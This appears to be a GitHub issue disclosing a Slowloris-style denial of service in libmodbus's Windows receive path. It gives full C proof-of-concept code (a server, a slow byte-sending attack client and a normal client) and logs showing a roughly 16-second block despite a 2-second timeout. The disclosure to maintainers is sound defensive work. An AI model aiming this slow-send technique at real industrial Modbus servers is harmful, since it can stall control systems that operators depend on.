Skip to content

Slowloris-Style DoS in Modbus TCP Receive Path on Windows #843

@MrAlaskan

Description

@MrAlaskan

Hi, thank you for your work on libmodbus; it has been of great help to the ICS field. The details below describe a reproducible issue observed on Windows. Hope this proves helpful.

Versions

  • OS: Windows 11 (MSYS2 UCRT64)

  • libmodbus: 3.1.12

libmodbus Specific

  • Server:

    • Uses Modbus TCP on 127.0.0.1:1502
    • Sets modbus_set_indication_timeout(ctx, 2, 0)
  • Client:
    Two clients are used in this PoC.

    1. attack_client (slow-byte sender): uses raw socket APIs (setsockopt, send, recv, WSAGetLastError)
    2. normal_client (availability check):
      This client connects, sends one normal read request, waits 20 seconds, reconnects, and sends another request.

Description

This issue reproduces a Slowloris-style DoS on Windows in libmodbus receive handling.

When byte_timeout is disabled, the expected behavior is to enforce a global timeout for receiving a full frame through response/indication timeout handling. However, on Windows, select() does not reliably consume/update the provided timeval in the same way assumed by this receive loop logic. As a result, each iteration waiting for remaining bytes can effectively reuse a full timeout window.

An attacker can keep sending bytes just before timeout expiration and hold the single-threaded server in modbus_receive() for much longer than the configured timeout.

Observed in this reproduction:

  • A single slow request of 12 bytes blocks the server for about 16.593s while timeout is configured to 2s.
  • During this period, normal_client request(s) time out.
  • Service resumes after the attack connection closes.

Code and Logs

/* ========================= server.c ========================= */
#include <stdio.h>
#include <modbus.h>
#ifdef _WIN32
#include <windows.h>
#else
#include <sys/time.h>
#endif

static long long now_ms(void)
{
#ifdef _WIN32
    return (long long) GetTickCount64();
#else
    struct timeval tv;
    gettimeofday(&tv, NULL);
    return (long long) tv.tv_sec * 1000LL + tv.tv_usec / 1000;
#endif
}

int main(void) {
    modbus_t *ctx = modbus_new_tcp("127.0.0.1", 1502);
    if (ctx == NULL) {
        return -1;
    }

    modbus_set_debug(ctx, 1);
    modbus_set_indication_timeout(ctx, 2, 0);
    modbus_set_byte_timeout(ctx, 0, 0);

    modbus_mapping_t *mb_mapping = modbus_mapping_new(0, 0, 10, 0);
    if (mb_mapping == NULL) {
        modbus_free(ctx);
        return -1;
    }

    int s = modbus_tcp_listen(ctx, 1);
    if (s == -1) {
        modbus_mapping_free(mb_mapping);
        modbus_free(ctx);
        return -1;
    }

    uint8_t query[MODBUS_TCP_MAX_ADU_LENGTH];

    while (1) {
        if (modbus_tcp_accept(ctx, &s) == -1) {
            continue;
        }

        while (1) {
            long long start_ms = now_ms();
            int rc = modbus_receive(ctx, query);
            long long duration_ms = now_ms() - start_ms;

            if (rc == -1) {
                break;
            } else if (rc == 0) {
                break;
            } else {
                printf("[!] Received query successfully. Server was blocked for %lld.%03lld ms. (Bypassed the 2-second timeout!)\n", duration_ms);
                modbus_reply(ctx, query, rc, mb_mapping);
            }
        }

        modbus_close(ctx);
    }

    modbus_mapping_free(mb_mapping);
    modbus_free(ctx);
    
    return 0;
}
/* ====================== attack_client.c ===================== */
#include <stdio.h>
#include <errno.h>
#include <modbus.h>

#ifdef _WIN32
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#else
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#endif

static void sleep_ms(int ms)
{
#ifdef _WIN32
    Sleep(ms);
#else
    usleep(ms * 1000);
#endif
}

int main(void)
{
    modbus_t *ctx = modbus_new_tcp("127.0.0.1", 1502);
    if (ctx == NULL) {
        return -1;
    }

    if (modbus_connect(ctx) == -1) {
        modbus_free(ctx);
        return -1;
    }

    int fd = modbus_get_socket(ctx);
    int flag = 1;
    setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, (const char *) &flag, sizeof(flag));

    uint8_t raw_req[] = {
        0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x01,
        0x03, 0x00, 0x00, 0x00, 0x01
    };

    const int inter_byte_delay_ms = 1500;
    for (int i = 0; i < (int) sizeof(raw_req); i++) {
        int sent = send(fd, (const char *) &raw_req[i], 1, 0);
        if (sent <= 0) {
            int err;
#ifdef _WIN32
            err = WSAGetLastError();
#else
            err = errno;
#endif
            fprintf(stderr, "send failed: %d\n", err);
            break;
        }
        sleep_ms(inter_byte_delay_ms);
    }

    uint8_t rsp[1024];
    recv(fd, (char *) rsp, sizeof(rsp), 0);

    modbus_close(ctx);
    modbus_free(ctx);
    return 0;
}
/* ====================== normal_client.c ===================== */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <modbus.h>

#ifdef _WIN32
#include <windows.h>
#else
#include <unistd.h>
#include <sys/time.h>
#endif

static long long now_ms(void)
{
#ifdef _WIN32
    return (long long)GetTickCount64();
#else
    struct timeval tv;
    gettimeofday(&tv, NULL);
    return (long long)tv.tv_sec * 1000LL + tv.tv_usec / 1000;
#endif
}

static void sleep_ms(int ms)
{
#ifdef _WIN32
    Sleep(ms);
#else
    usleep(ms * 1000);
#endif
}

int main(void)
{
    const char *ip = "127.0.0.1";
    int port = 1502;
    for (int step = 1; step <= 2; step++) {
        modbus_t *ctx = modbus_new_tcp(ip, port);
        if (ctx == NULL) {
            fprintf(stderr, "Unable to allocate libmodbus context\n");
            return -1;
        }

        if (modbus_connect(ctx) == -1) {
            fprintf(stderr, "[ERR] step %d connect failed: %s\n", step, modbus_strerror(errno));
            modbus_free(ctx);
            return -1;
        }

        modbus_set_debug(ctx, TRUE);
        if (modbus_set_response_timeout(ctx, 0, 200000) == -1) {
            fprintf(stderr,
                    "[ERR] step %d set_response_timeout failed: %s\n",
                    step,
                    modbus_strerror(errno));
            modbus_close(ctx);
            modbus_free(ctx);
            return -1;
        }

        printf("[+] step %d connected to %s:%d\n", step, ip, port);

        uint16_t reg = 0;
        long long t0 = now_ms();
        int rc = modbus_read_registers(ctx, 0, 1, &reg);
        long long rtt = now_ms() - t0;

        modbus_close(ctx);
        modbus_free(ctx);
        // printf("[+] step %d disconnected\n", step);

        if (step == 1) {
            printf("[+] sleeping 20 seconds before reconnect...\n");
            sleep_ms(20000);
        }
    }

    return 0;
}

Runtime Logs

$ ./server.exe
Client connection accepted from 127.0.0.1.
Waiting for an indication...
<00><01><00><00><00><06><01><03><00><00><00><01>
[!] Received query successfully. Server was blocked for 16625.012 ms. (Bypassed the 2-second timeout!)
[00][01][00][00][00][05][01][03][02][00][00]
Waiting for an indication...
......
$ ./normal_client.exe
[+] step 1 connected to 127.0.0.1:1502
[00][01][00][00][00][06][FF][03][00][00][00][01]
Waiting for a confirmation...
ERROR timed out: select
[+] sleeping 20 seconds before reconnect...
[+] step 2 connected to 127.0.0.1:1502
[00][01][00][00][00][06][FF][03][00][00][00][01]
Waiting for a confirmation...
<00><01><00><00><00><05><FF><03><02><00><00>

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions